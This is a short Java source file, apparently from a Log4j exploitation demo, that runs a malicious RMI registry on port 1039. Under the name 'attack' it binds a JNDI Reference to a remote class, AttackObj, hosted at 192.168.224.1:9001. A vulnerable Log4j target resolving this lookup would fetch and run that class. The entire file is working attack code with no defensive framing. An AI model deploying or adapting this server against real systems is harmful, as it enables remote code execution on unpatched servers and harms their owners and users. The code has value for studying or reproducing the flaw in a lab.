package com.easy.log4j;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @Packge com.easy.log4j
 * @Autor linNaibin
 * @Description
 * @Version 1.0
 * @Date 2021/12/12 12:53
 */

public class RMIServer {

    public static void server() throws Exception {

        LocateRegistry.createRegistry(1039);
        Registry registry = LocateRegistry.getRegistry("192.168.224.1",1039);
        Reference reference = new Reference("com.easy.log4j.AttackObj", "com.easy.log4j.AttackObj", "192.168.224.1:9001/web/file");
        //
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        // bind

        registry.bind("attack", wrapper);

    }

    public static void main(String[] args) {
        try {
            System.out.println("启动 RMI 服务 ...");
            server();
            System.out.println(" RMI 启动完毕 ...");

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}
